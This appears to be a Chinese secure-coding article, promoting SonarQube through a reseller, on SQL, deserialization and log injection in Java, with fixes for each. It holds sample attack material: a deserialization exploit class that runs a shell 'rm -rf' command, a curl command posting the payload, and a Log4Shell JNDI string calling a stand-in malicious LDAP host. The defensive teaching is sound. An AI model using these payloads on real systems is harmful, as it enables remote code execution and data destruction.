代码质量与安全 | SQL注入、反序列化注入、日志注入......你的代码还安全吗?
2019年,MongoDB发生的一起著名NoSQL注入漏洞事件影响了数千个数据库,给相关公司造成了重大经济损失。该事件凸显了妥善保障NoSQL数据库安全的重要性。
但这并非个例。
SQL注入攻击事件频发,比如特斯拉在2018年就曾遭遇此类攻击。当时,特斯拉的Kubernetes 控制台还受到了另一种NoSQL注入攻击的影响,该攻击因未经授权的数据挖掘而使特斯拉遭受经济损失。
但这不仅仅是SQL注入的问题。
您的代码现在可能会遭受其他攻击手段,就像过去许多大公司所遭受的那样。
比如2021年Log4J库中的Log4Shell的漏洞攻击,这是一起日志注入攻击,至今仍影响着全球数百万台服务器;又比如2022年Atlassian Jira中的一次攻击,涉及影响Jira多个版本的反序列化攻击,使攻击者获得了完全控制权。
任何人都可能遭遇此类攻击,甚至包括你。
在本文中,我们将讨论代码中最常见的3种攻击类型:SQL注入、反序列化注入和日志注入,以及如何解决的修复措施。
1. SQL注入
将信息存储在数据库中的应用程序通常会使用用户生成的值来检查权限、存储信息,或简单地检索存储在表、文档、点、节点等中的数据。
当应用程序使用这些值时,如果使用不当,可能会允许攻击者引入发送到数据库的额外查询,以检索不允许的值,甚至修改这些表以获得访问权限。
以下代码根据登录页面中提供的用户名,从数据库中检索用户。
一切似乎都没问题。
public List findUsers(String user, String pass) throws Exception {
String query = "SELECT userid FROM users " +
"WHERE username='" + user + "' AND password='" + pass + "'";
Statement statement = connection.createStatement();
ResultSet resultSet = statement.executeQuery(query);
List users = new ArrayList();
while (resultSet.next()) {
users.add(resultSet.getString(0));
}
return users;
}
但是,当攻击者使用注入手段时,此代码使用字符串连接将导致意外的结果,并允许攻击者登录应用程序。
为解决这个问题,我们需要将这种方法从使用字符串连接更改为参数注入。事实上,就性能和安全性而言,字符串连接通常不是一个好主意。
String query = "SELECT userid FROM users " + "WHERE username='" + user + "' AND password='" + pass + "'";
将SQL字符串中直接包含的参数值更改为稍后可以引用的参数,将解决被黑客入侵的查询问题。
String query = "SELECT userid FROM users WHERE username = ? AND password = ?";
修正后的代码如下所示,包含prepareStatement 和每个参数的value设置。
public List findUsers(String user, String pass) throws Exception { String query = "SELECT userid FROM users WHERE username = ? AND password = ?"; try (PreparedStatement statement = connection.prepareStatement(query)) { statement.setString(1, user); statement.setString(2, pass); ResultSet resultSet = statement.executeQuery(query); List users = new ArrayList<>(); while (resultSet.next()) { users.add(resultSet.getString(0)); }
return users; } }
SonarQube Server和SonarQube Cloud可帮助检测SQL注入漏洞,详情咨询👉SonarQube中国授权合作伙伴-创实信息:021-61210910,customer@shcsinfo.com
反序列化注入
反序列化是指将数据从序列化格式(如字节流、字符串或文件)转换回程序可以使用的对象或数据结构的过程。
反序列化的常见用途包括以JSON结构的形式在API和Web服务之间发送数据,或在现代应用程序中以protobuf消息的形式使用RPC(远程过程调用)发送数据。
如果不对消息负载进行任何清理或检查步骤,将其转换为Object可能会涉及严重的漏洞。
@POST @Path("/binary") public String saveBinary(InputStream userStream) throws SQLException, ClassNotFoundException, IOException { Log.info("Saving binary user "); ObjectInputStream objectInputStream = new ObjectInputStream(userStream); User user = (User) objectInputStream.readObject(); return String.valueOf(dbService.save(user)); }
class User implements Serializable { private static final long serialVersionUID = 1L; private String name;
public User(String name) { this.name = name; }
public String getName() { return name; } }
这里可以看到,我们正在使用“objectIS”,这是来自请求输入流中用户的直接值,并将其转换为新对象。
我们期望该值始终是应用程序使用的类之一。也许我们的客户端永远不会发送其他任何东西,但是,如果恶意客户端在请求中发送另一个类呢?
public class Exploit implements Serializable {
private void readObject(java.io.ObjectInputStream in) { // Malicious action: Open the calculator try { Runtime.getRuntime().exec(new String[] { "/bin/sh", "-c", "rm -rf /tmp/vulnerable.txt"}, null, null); } catch (Exception e) { e.printStackTrace(); } } }
在这种情况下,我们有一个类在重写的“readObject”方法中删除文件,这将在之前的“readObject”调用时发生。
攻击者只需要序列化这个类,并发送给API即可:
Exploit exploit = new Exploit(); FileOutputStream fileOut = new FileOutputStream("exploit.ser"); ObjectOutputStream out = new ObjectOutputStream(fileOut); out.writeObject(exploit);...
$ curl -X POST --data-binary @exploit.ser http://vulnerable-api.com/user
这将导致我们的调用失败并出现类强制转换Exception,但这不会阻止它执行强制转换之前发生的恶意代码。
java.lang.ClassCastException: class org.vulnerable.Exploit cannot be cast to class org.vilojona.topsecurityflaws.deserialization.User
幸运的是,有一种简单的方法可以解决这个问题。在创建对象之前,我们需要检查要反序列化的类是否来自允许的类型之一。
在上面的代码中,我们创建了一个新的ObjectInputStream,其中覆盖了“resolveClass”方法,并包含对类名的检查。我们使用这个新的类 SecureObjectInputStream 来获取对象流。但是,在将流读取为对象(如User)之前,我们会包含允许列表检查。
public class SecureObjectInputStream extends ObjectInputStream { private static final Set ALLOWED_CLASSES = Set.of(User.class.getName());
@Override protected Class> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException { if (!ALLOWED_CLASSES.contains(osc.getName())) { throw new InvalidClassException("Unauthorized deserialization", osc.getName()); }
return super.resolveClass(osc); } }... public class RequestProcessor { protected void doGet(HttpServletRequest request, HttpServletResponse response) { ServletInputStream servletIS = request.getInputStream(); ObjectInputStream objectIS = new SecureObjectInputStream(servletIS); User input = (User) objectIS.readObject(); } }
SonarQube Cloud/SonarQube以及SonarQube for IDE提供了一系列规则,以帮助检测反序列化注入漏洞,详情咨询👉SonarQube中国授权合作伙伴-创实信息:021-61210910,customer@shcsinfo.com
日志注入
日志系统是一种软件组件或服务,旨在记录应用程序、系统或设备生成的事件、消息和其他数据。日志对于监控、故障排除、审计以及分析软件和系统的行为和性能至关重要。
通常,这些应用程序会记录失败、登录尝试,甚至成功事件,以便在问题发生时进行调试。
但是,日志也可能成为攻击手段。
日志注入是一种安全漏洞,攻击者可以通过向日志文件中注入恶意输入来操纵日志文件。如果日志没有进行适当的清理,可能会导致安全问题。
当攻击者修改日志内容以破坏它们或添加虚假信息,使其难以分析或破坏日志解析器时,就会出现日志伪造和污染等问题。此外,攻击者还会注入日志以利用日志管理系统中的漏洞,从而导致进一步的攻击,例如远程代码执行。
让我们看看以下代码,其中我们从user那里获取一个值并记录它。
public void doGet(HttpServletRequest request, HttpServletResponse response) { String user = request.getParameter("user"); if (user != null){ logger.log(Level.INFO, "User: {0} login in", user); } }
它看起来没有问题,但如果攻击者尝试使用这个用户登录呢?
john login in\n2024-08-19 12:34:56 INFO User ‘admin’ login in
这显然是一个错误的用户名,登录会失败。但是,它将被记录下来,并使日志检查人员感到困惑:
2024-08-19 12:34:56 ERROR User ‘john’ login in
2024-08-19 12:34:56 INFO User ‘admin’ login in
或者更糟糕的是,如果攻击者知道系统正在使用未打补丁的Log4J版本,他们可以发送以下值作为用户名,系统将遭受远程执行攻击。攻击者控制的LDAP服务器通过引用远程服务器上托管的恶意Java类进行响应。易受攻击的应用程序就会下载并执行这个类,从而使攻击者能够控制服务器。
${jndi:ldap://malicious-server.com/a}
但我们可以轻松预防这些问题。清理要记录的值对于避免日志伪造漏洞非常重要,因为它可能会导致用户伪造令人困惑的输出。
// Log the sanitised username String user = sanitiseInput(request.getParameter("user")); ... }
private String sanitiseInput(String input) { // Replace newline and carriage return characters with a safe placeholder if (input != null) { input = input.replaceAll("[\\n\\r]", "_"); } return input; }
我们在日志中看到的结果如下,现在更容易看出所有日志都属于对日志系统的同一调用。
2024-08-19 12:34:56 ERROR User ‘john’ login in_2024-08-19 12:34:56 INFO User ‘admin’ login in
为了防止对日志系统的利用,尽可能将库更新到最新的稳定版本非常重要。对于log4j来说,这种修复将禁用相关功能。我们也可以选择手动禁用JNDI。
-Dlog4j2.formatMsgNoLookups=true
如果您仍然需要使用JNDI,那么一个通用的清理过程可以避免恶意攻击,即仅通过检查目标是否在允许的目标列表中来实现。
public class AllowedlistJndiContextFactory implements InitialContextFactory { // Define your list of allowed JNDI URLs private static final List ALLOWED_JNDI_PREFIXES = Arrays.asList( "ldap://trusted-server.com", "ldaps://secure-server.com" );
@Override public Context getInitialContext(Hashtable, ?> environment) throws NamingException { String providerUrl = (String) environment.get(Context.PROVIDER_URL);
if (isAllowed(providerUrl)) { return new InitialContext(environment); } else { throw new NamingException("JNDI lookup " + providerUrl + " not allowed"); } } private boolean isAllowed(String url) { if (url == null) { return false; }
for (String allowedPrefix : ALLOWED_JNDI_PREFIXES) { if (url.startsWith(allowedPrefix)) { return true; } }
return false; }}
并且配置系统以使用filtering context factory,防止JNDI注入攻击。
-Djava.naming.factory.initial=com.yourpackage.AllowedlistJndiContextFactory
结论
安全漏洞不仅仅是理论上的担忧,而是已经影响到大公司的实际威胁,会导致重大的财务和声誉损失。
从SQL注入、反序列化注入到日志注入,这些攻击手段很普遍,如果处理不当,代码的安全性将受到极大挑战。
通过了解这些漏洞的性质,并实施有效的修复措施,例如使用参数化查询、避免不安全的反序列化做法以及妥善保护日志框架,开发人员可以显著降低这些攻击的风险。
Sonar提供了SonarQube for IDE、SonarQube Server和SonarQube Cloud等工具,以帮助检测、警告并提出针对所有这些漏洞的修复建议。
了解更多?SonarQube中国授权合作伙伴-创实信息提供SonarQube产品的免费试用、咨询、销售、安装部署、技术支持等一站式服务,欢迎咨询。
了解产品:https://www.shcsinfo.com/sonarqube
联系方式:021-61210910、customer@shcsinfo.com